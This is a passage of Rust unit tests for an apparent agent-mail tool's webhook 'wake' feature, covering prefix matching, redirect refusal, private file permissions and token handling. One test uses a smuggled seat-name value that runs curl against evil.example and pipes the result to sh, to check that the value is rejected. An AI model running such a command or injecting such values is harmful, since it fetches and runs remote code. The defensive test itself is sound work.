953        assert_eq!(matched(&table, "a-b"), None);
954        assert_eq!(matched(&table, "-b"), None);
955
956        let mut review_only = BTreeMap::new();
957        review_only.insert(
958            "ljosbot-review-".into(),
959            hook("https://example.test/review"),
960        );
961        assert_eq!(
962            matched(&review_only, "ljosbot-review-def"),
963            Some("ljosbot-review-")
964        );
965        assert_eq!(
966            matched(&review_only, "ljosbot-review-x;curl${IFS}evil.example|sh"),
967            None
968        );
969        assert_eq!(matched(&review_only, "ljosbot-reviewer"), None);
970        assert_eq!(matched(&review_only, "ljosbot-review"), None);
971        assert_eq!(
972            reaches("ljosbot-review-"),
973            "when mail reaches a seat that starts with it"
974        );
975        assert_eq!(reaches("inky"), "when mail reaches it");
976    }
977
978    fn read_http(sock: &mut std::net::TcpStream) -> String {
979        use std::io::Read;
980        sock.set_read_timeout(Some(Duration::from_secs(2))).ok();
981        let mut buf = Vec::new();
982        let mut tmp = [0u8; 1024];
983        loop {
984            let n = sock.read(&mut tmp).unwrap_or(0);
985            if n == 0 {
986                break;
987            }
988            buf.extend_from_slice(&tmp[..n]);
989            if let Some(at) = buf.windows(4).position(|w| w == b"\r\n\r\n") {
990                let headers = &buf[..at];
991                let mut need = 0usize;
992                for line in headers.split(|b| *b == b'\n') {
993                    let line = std::str::from_utf8(line).unwrap_or("").trim();
994                    if let Some(v) = line
995                        .split_once(':')
996                        .filter(|(k, _)| k.eq_ignore_ascii_case("content-length"))
997                        .map(|(_, v)| v.trim())
998                    {
999                        need = v.parse().unwrap_or(0);
1000                    }
1001                }
1002                if buf.len().saturating_sub(at + 4) >= need {
1003                    break;
1004                }
1005            }
1006        }
1007        String::from_utf8_lossy(&buf).into_owned()
1008    }
1009
1010    fn serve_one() -> (u16, std::sync::mpsc::Receiver<String>) {
1011        let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind");
1012        let port = listener.local_addr().expect("addr").port();
1013        let (tx, rx) = std::sync::mpsc::channel();
1014        std::thread::spawn(move || {
1015            let Ok((mut sock, _)) = listener.accept() else {
1016                return;
1017            };
1018            let req = read_http(&mut sock);
1019            let _ = tx.send(req);
1020            let _ = std::io::Write::write_all(
1021                &mut sock,
1022                b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n",
1023            );
1024        });
1025        (port, rx)
1026    }
1027
1028    #[test]
1029    fn a_webhook_redirect_is_refused_and_not_followed() {
1030        let (_lock, _dir) = isolated();
1031        let (target_port, target_rx) = serve_one();
1032        let redirect = std::net::TcpListener::bind("127.0.0.1:0").expect("redirect bind");
1033        let redirect_port = redirect.local_addr().expect("redirect addr").port();
1034        let (first_tx, first_rx) = std::sync::mpsc::channel();
1035        std::thread::spawn(move || {
1036            let Ok((mut sock, _)) = redirect.accept() else {
1037                return;
1038            };
1039            let req = read_http(&mut sock);
1040            let _ = first_tx.send(req);
1041            let location = format!("http://127.0.0.1:{target_port}/next");
1042            let reply = format!(
1043                "HTTP/1.1 302 Found\r\nLocation: {location}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
1044            );
1045            let _ = std::io::Write::write_all(&mut sock, reply.as_bytes());
1046        });
1047        let hook = format!("http://127.0.0.1:{redirect_port}/hook");
1048        set_webhook("inky", &hook, None, None).expect("set webhook");
1049        let err = fire(&Event {
1050            seat: "inky".into(),
1051            from: "vm-seat".into(),
1052            msg: "m1".into(),
1053            ..Event::default()
1054        })
1055        .expect_err("redirected webhook must fail");
1056        let said = format!("{err:#}");
1057        assert!(said.contains("302"), "{said}");
1058        let first = first_rx
1059            .recv_timeout(Duration::from_secs(3))
1060            .expect("redirect request");
1061        assert!(first.starts_with("POST /hook"), "{first}");
1062        assert!(
1063            target_rx.recv_timeout(Duration::from_millis(700)).is_err(),
1064            "redirect target was called"
1065        );
1066    }
1067
1068    #[test]
1069    fn concurrent_writers_and_reader_keep_every_entry() {
1070        use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
1071        use std::sync::{Arc, Barrier};
1072
1073        let (_lock, _dir) = isolated();
1074        set_command("seed", "true", None).expect("seed");
1075        let left_payload = "a".repeat(40_000);
1076        let right_payload = "b".repeat(40_000);
1077
1078        let done = Arc::new(AtomicBool::new(false));
1079        let parse_errors = Arc::new(AtomicUsize::new(0));
1080        let done_reader = Arc::clone(&done);
1081        let parse_reader = Arc::clone(&parse_errors);
1082        let reader = std::thread::spawn(move || {
1083            while !done_reader.load(Ordering::Relaxed) {
1084                if let Ok(text) = std::fs::read_to_string(path()) {
1085                    if !text.is_empty() && toml::from_str::<BTreeMap<String, Wake>>(&text).is_err()
1086                    {
1087                        parse_reader.fetch_add(1, Ordering::Relaxed);
1088                    }
1089                }
1090                std::hint::spin_loop();
1091            }
1092        });
1093
1094        for round in 0..40 {
1095            let gate = Arc::new(Barrier::new(2));
1096            let left_gate = Arc::clone(&gate);
1097            let right_gate = Arc::clone(&gate);
1098            let left_cmd = format!("{left_payload}{round}");
1099            let right_cmd = format!("{right_payload}{round}");
1100            let left = std::thread::spawn(move || {
1101                left_gate.wait();
1102                set_command("alpha", &left_cmd, None).expect("left write");
1103            });
1104            let right = std::thread::spawn(move || {
1105                right_gate.wait();
1106                set_command("beta", &right_cmd, None).expect("right write");
1107            });
1108            left.join().expect("left join");
1109            right.join().expect("right join");
1110            let table = load_for_write().expect("table parse");
1111            assert!(
1112                table.contains_key("alpha") && table.contains_key("beta"),
1113                "lost wake entry on round {round}: {table:?}"
1114            );
1115        }
1116        done.store(true, Ordering::Relaxed);
1117        reader.join().expect("reader join");
1118        assert_eq!(
1119            parse_errors.load(Ordering::Relaxed),
1120            0,
1121            "reader saw torn writes"
1122        );
1123    }
1124
1125    fn body_of(raw: &str) -> serde_json::Value {
1126        let body = raw
1127            .split_once("\r\n\r\n")
1128            .map(|(_, body)| body)
1129            .unwrap_or(raw);
1130        serde_json::from_str(body).unwrap_or_else(|e| panic!("{e}: {raw}"))
1131    }
1132
1133    /// Hold the process environment for one wake file in a temp home.
1134    fn isolated() -> (crate::EnvLock, tempfile::TempDir) {
1135        let lock = crate::test_env_lock();
1136        let dir = tempfile::tempdir().expect("home");
1137        // SAFETY: test_env_lock holds the environment and restores it.
1138        unsafe {
1139            std::env::set_var("XDG_CONFIG_HOME", dir.path().join("config"));
1140            std::env::set_var("XDG_STATE_HOME", dir.path().join("state"));
1141        }
1142        (lock, dir)
1143    }
1144
1145    #[test]
1146    fn set_webhook_refuses_to_overwrite_a_broken_wake_toml() {
1147        let (_lock, _dir) = isolated();
1148        let wake_file = path();
1149        std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1150        let broken = "[inky\nwebhook = \"https://old.example/hook\"\n";
1151        std::fs::write(&wake_file, broken).expect("seed broken wake");
1152        let err = set_webhook("inky", "http://127.0.0.1:9/hook", None, None)
1153            .expect_err("broken wake.toml should refuse writes");
1154        let said = format!("{err:#}");
1155        assert!(said.contains("wake"), "{said}");
1156        assert!(
1157            said.contains("parse"),
1158            "the refusal should say this is a parse error: {said}"
1159        );
1160        assert_eq!(std::fs::read_to_string(&wake_file).unwrap(), broken);
1161    }
1162
1163    #[cfg(unix)]
1164    #[test]
1165    fn save_atomic_keeps_existing_mode_and_creates_private_files() {
1166        use std::os::unix::fs::PermissionsExt;
1167
1168        let (_lock, _dir) = isolated();
1169        let wake_file = path();
1170        std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1171        std::fs::write(&wake_file, "[seed]\ncommand = \"true\"\n").expect("seed wake");
1172        std::fs::set_permissions(&wake_file, std::fs::Permissions::from_mode(0o600))
1173            .expect("mode 0600 wake");
1174
1175        set_command("inky", "true", None).expect("rewrite wake");
1176        let kept = std::fs::symlink_metadata(&wake_file)
1177            .expect("wake metadata")
1178            .permissions()
1179            .mode()
1180            & 0o777;
1181        assert_eq!(kept, 0o600, "rewriting wake.toml changed its mode");
1182
1183        std::fs::remove_file(&wake_file).expect("remove wake");
1184        set_command("new", "true", None).expect("new wake");
1185        let created = std::fs::symlink_metadata(&wake_file)
1186            .expect("wake metadata")
1187            .permissions()
1188            .mode()
1189            & 0o777;
1190        assert_eq!(created, 0o600, "new wake.toml should be private");
1191    }
1192
1193    #[test]
1194    fn a_prefix_posts_the_run_seat_and_keeps_the_key_out_of_the_file() {
1195        let (_lock, _dir) = isolated();
1196        let (review_port, review_rx) = serve_one();
1197        let (broad_port, broad_rx) = serve_one();
1198        let (exact_port, exact_rx) = serve_one();
1199        let review = format!("http://127.0.0.1:{review_port}/hook");
1200        let broad = format!("http://127.0.0.1:{broad_port}/hook");
1201        let exact = format!("http://127.0.0.1:{exact_port}/hook");
1202        // SAFETY: test_env_lock holds the environment and restores it.
1203        unsafe { std::env::set_var("LJOS_WAKE_LAUNCHER_KEY", "test-token") };
1204
1205        let set = set_webhook(
1206            "ljosbot-review-",
1207            &review,
1208            None,
1209            Some("LJOS_WAKE_LAUNCHER_KEY"),
1210        )
1211        .expect("set prefix");
1212        assert!(
1213            set.contains("when mail reaches a seat that starts with it"),
1214            "{set}"
1215        );
1216        for seat in ["ljosbot-reviewer", "ljosbot-review", "ljosbot-review-"] {
1217            let missed = fire(&Event {
1218                seat: seat.into(),
1219                ..Event::default()
1220            });
1221            let err = format!("{:#}", missed.expect_err("not this prefix"));
1222            assert!(err.contains(&format!("{seat} has no wake set")), "{err}");
1223        }
1224        set_webhook("ljosbot-", &broad, None, None).expect("set broad");
1225        let own = set_webhook("ljosbot-review-abc", &exact, None, None).expect("set exact");
1226        assert!(own.ends_with("when mail reaches it\n"), "{own}");
1227        assert!(!own.contains("starts with"), "{own}");
1228
1229        let stored = std::fs::read_to_string(path()).expect("wake.toml");
1230        assert!(!stored.contains("test-token"), "{stored}");
1231        assert!(stored.contains("ljosbot-review-"), "{stored}");
1232        let loaded = load();
1233        assert_eq!(
1234            matched(&loaded, "ljosbot-review-def"),
1235            Some("ljosbot-review-")
1236        );
1237
1238        let run = Event {
1239            seat: "ljosbot-review-def".into(),
1240            from: "inky".into(),
1241            msg: "m1".into(),
1242            issue: Some("Software-d9n6".into()),
1243            interrupt: true,
1244            commit: None,
1245        };
1246        let said = fire(&run).expect("fire run");
1247        assert!(
1248            said.starts_with(
1249                "wake ljosbot-review via ljosbot-review- for ljosbot-review-def: posted, 200"
1250            ),
1251            "{said}"
1252        );
1253        let posted = review_rx
1254            .recv_timeout(Duration::from_secs(3))
1255            .expect("review hook");
1256        assert!(
1257            posted
1258                .to_ascii_lowercase()
1259                .contains("authorization: bearer test-token"),
1260            "{posted}"
1261        );
1262        let v = body_of(&posted);
1263        assert_eq!(v["seat"], "ljosbot-review-def");
1264        assert_eq!(v["from"], "inky");
1265        assert_eq!(v["msg"], "m1");
1266        assert_eq!(v["issue"], "Software-d9n6");
1267        assert_eq!(v["interrupt"], true);
1268        assert_eq!(v["read"], "LJOS_SEAT='ljosbot-review-def' ljos inbox");
1269        assert_eq!(v["via"], "ljosbot-review-");
1270        assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
1271        assert!(broad_rx.try_recv().is_err(), "a longer prefix lost");
1272
1273        let shown = show("ljosbot-review-def");
1274        assert!(
1275            shown.contains("matches ljosbot-review-") && shown.contains(&review),
1276            "{shown}"
1277        );
1278        let log = std::fs::read_to_string(log_path()).unwrap_or_default();
1279        assert!(
1280            log.contains("ljosbot-review via ljosbot-review- for ljosbot-review-def"),
1281            "{log}"
1282        );
1283
1284        let other = fire(&Event {
1285            seat: "ljosbot-fix-9".into(),
1286            from: "inky".into(),
1287            msg: "m2".into(),
1288            ..Event::default()
1289        })
1290        .expect("fire broad");
1291        assert!(
1292            other.starts_with("wake ljosbot via ljosbot- for ljosbot-fix-9: posted, 200"),
1293            "{other}"
1294        );
1295        let posted = broad_rx
1296            .recv_timeout(Duration::from_secs(3))
1297            .expect("broad hook");
1298        assert_eq!(body_of(&posted)["seat"], "ljosbot-fix-9");
1299
1300        let own = fire(&Event {
1301            seat: "ljosbot-review-abc".into(),
1302            from: "inky".into(),
1303            msg: "m3".into(),
1304            ..Event::default()
1305        })
1306        .expect("fire exact");
1307        assert!(
1308            own.starts_with("wake ljosbot-review-abc: posted, 200"),
1309            "{own}"
1310        );
1311        let posted = exact_rx
1312            .recv_timeout(Duration::from_secs(3))
1313            .expect("exact hook");
1314        let v = body_of(&posted);
1315        assert_eq!(v["seat"], "ljosbot-review-abc");
1316        assert!(v.get("via").is_none(), "{v}");
1317        assert!(
1318            !posted.to_ascii_lowercase().contains("authorization:"),
1319            "{posted}"
1320        );
1321
1322        let missed = fire(&Event {
1323            seat: "other-1".into(),
1324            ..Event::default()
1325        });
1326        let err = format!("{:#}", missed.expect_err("other-1 has no prefix"));
1327        assert!(err.contains("other-1 has no wake set"), "{err}");
1328    }
1329
1330    #[test]
1331    fn clear_names_the_prefix_when_the_seat_has_no_own_wake() {
1332        let (_lock, _dir) = isolated();
1333        set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("set prefix");
1334        let said = clear("ljosbot-review-abc").expect("clear");
1335        assert!(
1336            said.contains("matches ljosbot-review-")
1337                && said.contains("clear ljosbot-review- to remove it"),
1338            "{said}"
1339        );
1340    }
1341
1342    #[cfg(unix)]
1343    #[test]
1344    fn a_send_starts_the_prefix_wake_for_a_run_seat() {
1345        use std::os::unix::fs::PermissionsExt;
1346        let (_lock, dir) = isolated();
1347        let marker = dir.path().join("spawn.log");
1348        let script = dir.path().join("record-wake");
1349        std::fs::write(
1350            &script,
1351            "#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$WAKE_RECORD\"\n",
1352        )
1353        .expect("script");
1354        std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).expect("chmod");
1355        // SAFETY: test_env_lock holds the environment and restores it.
1356        unsafe {
1357            std::env::set_var("LJOS_WAKE_BIN", &script);
1358            std::env::set_var("WAKE_RECORD", &marker);
1359        }
1360        set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("prefix");
1361        set_webhook("inky", "http://127.0.0.1:9/inky", None, None).expect("exact");
1362
1363        let event = |seat: &str| Event {
1364            seat: seat.to_string(),
1365            from: "inky".into(),
1366            msg: "m1".into(),
1367            issue: Some("Software-d9n6".into()),
1368            interrupt: false,
1369            commit: None,
1370        };
1371        let missed = spawn(&[event("ljosbot-reviewer"), event("ljosbot")]);
1372        assert!(missed.is_empty(), "{missed:?}");
1373        let woken = spawn(&[event("ljosbot-review-abc"), event("inky")]);
1374        assert_eq!(
1375            woken,
1376            vec![
1377                "ljosbot-review via ljosbot-review- for ljosbot-review-abc".to_string(),
1378                "inky".to_string()
1379            ]
1380        );
1381
1382        let started = Instant::now();
1383        let wrote = loop {
1384            if let Ok(text) = std::fs::read_to_string(&marker) {
1385                if text.lines().count() >= 2 {
1386                    break text;
1387                }
1388            }
1389            assert!(
1390                started.elapsed() < Duration::from_secs(3),
1391                "the wake did not start"
1392            );
1393            std::thread::sleep(Duration::from_millis(20));
1394        };
1395        assert!(wrote.contains("wake ljosbot-review-abc --fire"), "{wrote}");
1396        assert!(wrote.contains("wake inky --fire"), "{wrote}");
1397        assert!(!wrote.contains("ljosbot-reviewer"), "{wrote}");
1398        assert!(!wrote.contains("wake ljosbot --fire"), "{wrote}");
1399    }
1400}